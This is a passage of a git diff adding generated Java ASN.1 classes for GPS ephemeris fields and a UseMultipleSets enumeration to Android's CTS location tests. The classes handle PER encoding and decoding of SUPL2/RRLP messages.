+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemEType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemEType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemEType != null) {
+ return ImmutableList.of(TAG_ephemEType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemEType from encoded stream.
+ */
+ public static ephemEType fromPerUnaligned(byte[] encodedBytes) {
+ ephemEType result = new ephemEType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemEType from encoded stream.
+ */
+ public static ephemEType fromPerAligned(byte[] encodedBytes) {
+ ephemEType result = new ephemEType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemEType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCusType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCusType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCusType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCusType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCusType != null) {
+ return ImmutableList.of(TAG_ephemCusType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCusType from encoded stream.
+ */
+ public static ephemCusType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCusType result = new ephemCusType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCusType from encoded stream.
+ */
+ public static ephemCusType fromPerAligned(byte[] encodedBytes) {
+ ephemCusType result = new ephemCusType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCusType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemAPowerHalfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemAPowerHalfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemAPowerHalfType() {
+ super();
+ setValueRange("0", "4294967295");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemAPowerHalfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemAPowerHalfType != null) {
+ return ImmutableList.of(TAG_ephemAPowerHalfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemAPowerHalfType from encoded stream.
+ */
+ public static ephemAPowerHalfType fromPerUnaligned(byte[] encodedBytes) {
+ ephemAPowerHalfType result = new ephemAPowerHalfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemAPowerHalfType from encoded stream.
+ */
+ public static ephemAPowerHalfType fromPerAligned(byte[] encodedBytes) {
+ ephemAPowerHalfType result = new ephemAPowerHalfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemAPowerHalfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemToeType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemToeType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemToeType() {
+ super();
+ setValueRange("0", "37799");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemToeType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemToeType != null) {
+ return ImmutableList.of(TAG_ephemToeType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemToeType from encoded stream.
+ */
+ public static ephemToeType fromPerUnaligned(byte[] encodedBytes) {
+ ephemToeType result = new ephemToeType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemToeType from encoded stream.
+ */
+ public static ephemToeType fromPerAligned(byte[] encodedBytes) {
+ ephemToeType result = new ephemToeType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemToeType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemFitFlagType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemFitFlagType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemFitFlagType() {
+ super();
+ setValueRange("0", "1");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemFitFlagType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemFitFlagType != null) {
+ return ImmutableList.of(TAG_ephemFitFlagType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemFitFlagType from encoded stream.
+ */
+ public static ephemFitFlagType fromPerUnaligned(byte[] encodedBytes) {
+ ephemFitFlagType result = new ephemFitFlagType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemFitFlagType from encoded stream.
+ */
+ public static ephemFitFlagType fromPerAligned(byte[] encodedBytes) {
+ ephemFitFlagType result = new ephemFitFlagType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemFitFlagType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemAODAType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemAODAType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemAODAType() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemAODAType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemAODAType != null) {
+ return ImmutableList.of(TAG_ephemAODAType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemAODAType from encoded stream.
+ */
+ public static ephemAODAType fromPerUnaligned(byte[] encodedBytes) {
+ ephemAODAType result = new ephemAODAType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemAODAType from encoded stream.
+ */
+ public static ephemAODAType fromPerAligned(byte[] encodedBytes) {
+ ephemAODAType result = new ephemAODAType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemAODAType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCicType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCicType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCicType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCicType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCicType != null) {
+ return ImmutableList.of(TAG_ephemCicType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCicType from encoded stream.
+ */
+ public static ephemCicType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCicType result = new ephemCicType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCicType from encoded stream.
+ */
+ public static ephemCicType fromPerAligned(byte[] encodedBytes) {
+ ephemCicType result = new ephemCicType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCicType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemOmegaA0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemOmegaA0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemOmegaA0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemOmegaA0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemOmegaA0Type != null) {
+ return ImmutableList.of(TAG_ephemOmegaA0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemOmegaA0Type from encoded stream.
+ */
+ public static ephemOmegaA0Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemOmegaA0Type result = new ephemOmegaA0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemOmegaA0Type from encoded stream.
+ */
+ public static ephemOmegaA0Type fromPerAligned(byte[] encodedBytes) {
+ ephemOmegaA0Type result = new ephemOmegaA0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemOmegaA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCisType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCisType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCisType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCisType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCisType != null) {
+ return ImmutableList.of(TAG_ephemCisType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCisType from encoded stream.
+ */
+ public static ephemCisType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCisType result = new ephemCisType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCisType from encoded stream.
+ */
+ public static ephemCisType fromPerAligned(byte[] encodedBytes) {
+ ephemCisType result = new ephemCisType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCisType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemI0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemI0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemI0Type() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemI0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemI0Type != null) {
+ return ImmutableList.of(TAG_ephemI0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemI0Type from encoded stream.
+ */
+ public static ephemI0Type fromPerUnaligned(byte[] encodedBytes) {
+ ephemI0Type result = new ephemI0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemI0Type from encoded stream.
+ */
+ public static ephemI0Type fromPerAligned(byte[] encodedBytes) {
+ ephemI0Type result = new ephemI0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemI0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemCrcType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemCrcType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemCrcType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemCrcType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemCrcType != null) {
+ return ImmutableList.of(TAG_ephemCrcType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemCrcType from encoded stream.
+ */
+ public static ephemCrcType fromPerUnaligned(byte[] encodedBytes) {
+ ephemCrcType result = new ephemCrcType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemCrcType from encoded stream.
+ */
+ public static ephemCrcType fromPerAligned(byte[] encodedBytes) {
+ ephemCrcType result = new ephemCrcType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemCrcType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemWType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemWType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemWType() {
+ super();
+ setValueRange("-2147483648", "2147483647");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemWType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemWType != null) {
+ return ImmutableList.of(TAG_ephemWType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemWType from encoded stream.
+ */
+ public static ephemWType fromPerUnaligned(byte[] encodedBytes) {
+ ephemWType result = new ephemWType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemWType from encoded stream.
+ */
+ public static ephemWType fromPerAligned(byte[] encodedBytes) {
+ ephemWType result = new ephemWType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemWType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemOmegaADotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemOmegaADotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemOmegaADotType() {
+ super();
+ setValueRange("-8388608", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemOmegaADotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemOmegaADotType != null) {
+ return ImmutableList.of(TAG_ephemOmegaADotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemOmegaADotType from encoded stream.
+ */
+ public static ephemOmegaADotType fromPerUnaligned(byte[] encodedBytes) {
+ ephemOmegaADotType result = new ephemOmegaADotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemOmegaADotType from encoded stream.
+ */
+ public static ephemOmegaADotType fromPerAligned(byte[] encodedBytes) {
+ ephemOmegaADotType result = new ephemOmegaADotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemOmegaADotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ephemIDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ephemIDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ephemIDotType() {
+ super();
+ setValueRange("-8192", "8191");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ephemIDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ephemIDotType != null) {
+ return ImmutableList.of(TAG_ephemIDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ephemIDotType from encoded stream.
+ */
+ public static ephemIDotType fromPerUnaligned(byte[] encodedBytes) {
+ ephemIDotType result = new ephemIDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ephemIDotType from encoded stream.
+ */
+ public static ephemIDotType fromPerAligned(byte[] encodedBytes) {
+ ephemIDotType result = new ephemIDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ephemIDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UncompressedEphemeris = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java
new file mode 100755
index 0000000..b5e8f6b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UseMultipleSets.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UseMultipleSets extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ multipleSets(0),
+ oneSet(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_UseMultipleSets
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UseMultipleSets() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UseMultipleSets;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UseMultipleSets != null) {
+ return ImmutableList.of(TAG_UseMultipleSets);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new UseMultipleSets from encoded stream.
+ */
+ public static UseMultipleSets fromPerUnaligned(byte[] encodedBytes) {
+ UseMultipleSets result = new UseMultipleSets();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UseMultipleSets from encoded stream.
+ */
+ public static UseMultipleSets fromPerAligned(byte[] encodedBytes) {
+ UseMultipleSets result = new UseMultipleSets();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UseMultipleSets = " + getValue() + ";\n";
+ }
+}
